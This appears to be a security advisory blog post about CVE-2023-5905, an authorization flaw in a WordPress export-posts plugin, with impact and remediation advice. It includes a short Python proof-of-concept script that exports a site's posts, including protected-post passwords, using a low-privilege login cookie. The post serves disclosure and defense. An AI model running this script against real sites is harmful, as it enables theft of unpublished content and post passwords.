CVE-2023-5905: Unauthorized Access and Data Export Vulnerability in DeMomentSomTres WordPress Export Posts With Images Plugin (up to version 20220825)

Recently, a security vulnerability (CVE-2023-5905) was discovered in the popular DeMomentSomTres WordPress Export Posts With Images plugin (versions up to 20220825). This vulnerability allows unauthorized users, including subscribers, to access and export sensitive blog data, such as unpublished and restricted blog posts, along with the passwords of protected blog posts. In this post, we will discuss the details of the vulnerability, its possible impact on WordPress sites, and provide remediation steps to keep your website secure.

Vulnerability Details

The vulnerability stems from a lack of proper authorization checks when requests are made to export the blog's data using the plugin. As a result, any logged-in user, even those with minimal privileges such as subscribers, can exploit this vulnerability to gain access to sensitive information available on the blog.

Below is a code snippet that demonstrates the exploit

import requests

# Replace with the target WordPress site's URL
wordpress_url = "https://www.example.com/wp-admin/admin-ajax.php";

# Replace with a logged-in user's cookies
cookies = {"wordpress_logged_in": "your_logged_in_cookie"}

data = {
    "action": "demomentsomtres_expi_copy",
    "format": "xml",
    "post_type": "post",
    "nonce": "069eaa425c"
}

response = requests.post(wordpress_url, cookies=cookies, data=data)

# Write the response content to an XML file
with open("exported_data.xml", "wb") as handle:
    handle.write(response.content)

Please note that the code provided here is for educational purposes only and should not be used to exploit any vulnerable websites.

The original vulnerability disclosure and technical details can be found in the following links

1. CVE-2023-5905 - NIST National Vulnerability Database (NVD)
2. DeMomentSomTres WordPress Export Posts With Images Plugin Vulnerability - WordPress.org Support Forum

Possible Impact

The potential impact of this vulnerability is significant, as unauthorized users can potentially gain access to sensitive and private data on your blog, which may lead to exploitation for malicious purposes. This could include stealing unpublished content, gaining insights into protected blog posts or private user data, and potentially damaging your website's reputation.

Remediation Steps

1. Update the plugin: The developers of the DeMomentSomTres WordPress Export Posts With Images plugin have released a patch to address this vulnerability. It is highly recommended to update the plugin to the latest version immediately.
2. Revoke user access: If possible, consider revoking or limiting user access to your WordPress site, especially for the least privileged roles such as subscribers until the plugin is updated.
3. Monitor your website: Continuously monitor your website for any unauthorized access or suspicious activities that may indicate potential exploitation of this vulnerability.

Conclusion

The CVE-2023-5905 vulnerability in the DeMomentSomTres WordPress Export Posts With Images plugin poses a severe security risk for WordPress websites running older versions of the plugin. By following the remediation steps outlined in this post and updating the plugin to the latest version, you can effectively protect your website from unauthorized access and export of sensitive data.

Timeline

Published on: 01/15/2024 16:15:12 UTC
Last modified on: 01/19/2024 17:58:36 UTC